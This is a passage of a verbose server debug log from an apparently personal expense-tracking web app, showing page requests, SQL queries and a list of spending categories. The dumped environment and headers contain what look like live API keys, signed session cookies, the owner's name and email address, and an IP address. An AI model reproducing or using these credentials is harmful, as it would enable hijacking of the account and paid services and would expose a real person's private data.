      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-05T11:08:08.511Z server-connect:router Serving templateView /
2026-03-05T11:08:08.511Z server-connect:app Executing action step identify
2026-03-05T11:08:08.511Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:08.511Z server-connect:output identity: 1
2026-03-05T11:08:08.511Z server-connect:app Executing action step restrict
2026-03-05T11:08:08.511Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:08.512Z server-connect:output restrict: undefined
2026-03-05T11:08:08.512Z server-connect:app Executing action step restrict
2026-03-05T11:08:08.512Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:08.513Z server-connect:output restrict: undefined
2026-03-05T11:08:08.513Z server-connect:router Render template layouts/main
2026-03-05T11:08:08.513Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:08:33.649Z server-connect:router Serving templateView /house-planner
2026-03-05T11:08:33.649Z server-connect:app Executing action step identify
2026-03-05T11:08:33.649Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:33.649Z server-connect:output identity: 1
2026-03-05T11:08:33.649Z server-connect:app Executing action step restrict
2026-03-05T11:08:33.649Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:33.650Z server-connect:output restrict: undefined
2026-03-05T11:08:33.650Z server-connect:router Render template layouts/main
2026-03-05T11:08:33.650Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"19e0d-BijAxAh+3YRVWizv4W6GgHDX7tU"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/house-planner'
}
2026-03-05T11:08:34.152Z server-connect:router Serving templateView /
2026-03-05T11:08:34.152Z server-connect:app Executing action step identify
2026-03-05T11:08:34.152Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:34.152Z server-connect:output identity: 1
2026-03-05T11:08:34.152Z server-connect:app Executing action step restrict
2026-03-05T11:08:34.152Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:34.153Z server-connect:output restrict: undefined
2026-03-05T11:08:34.153Z server-connect:app Executing action step restrict
2026-03-05T11:08:34.153Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T11:08:34.154Z server-connect:output restrict: undefined
2026-03-05T11:08:34.154Z server-connect:router Render template layouts/main
2026-03-05T11:08:34.154Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T11:07:52.177Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AKzAsaMKLDypDcf6kXmSVfQ%3D%3D.3c%2FdFCb4KT1s%2Bqrbla3bWOn1H8M%2BrY%2BO6JyMPLr0qDSXEdKCsYweQFk1G%2B9AdCYRU0dYvd6hQHo3jxHpFEJ81ubeJby8hgNq2ZXjf4vVIWCB%2BSUoImEsKhLi9zf0pPvrldqOiZ27wbawHAqT5sZqBRNSjb0VV0OECAtAON%2BHWO8%3D.fptSa%2FulTq1TzMijMbBA0vZnMIOnz75N72IKXfa4VJg; your_r_git.sid=s%3AeSGnQjfhNjFGxQRjND9DmJz2CVKL5dKw.KHrW7HBSKd2En2oe7RAFC%2B010MvCnwy5lJurV55b4ZQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-05T11:08:34.248Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-05T11:08:34.249Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-05T11:08:34.250Z server-connect:app Executing action step identify
2026-03-05T11:08:34.250Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:34.250Z server-connect:output identity: 1
2026-03-05T11:08:34.250Z server-connect:app Executing action step restrict
2026-03-05T11:08:34.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:34.250Z server-connect:output restrict: undefined
2026-03-05T11:08:34.250Z server-connect:app Executing action step single
2026-03-05T11:08:34.250Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-05T11:08:34.251Z server-connect:app Executing action step identify
2026-03-05T11:08:34.251Z server-connect:app options: { provider: 'security' }
2026-03-05T11:08:34.251Z server-connect:output identity: 1
2026-03-05T11:08:34.251Z server-connect:app Executing action step restrict
2026-03-05T11:08:34.251Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T11:08:34.251Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-05T11:08:34.252Z server-connect:output restrict: undefined
2026-03-05T11:08:34.252Z server-connect:app Executing action step select
2026-03-05T11:08:34.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-05T11:08:34.257Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
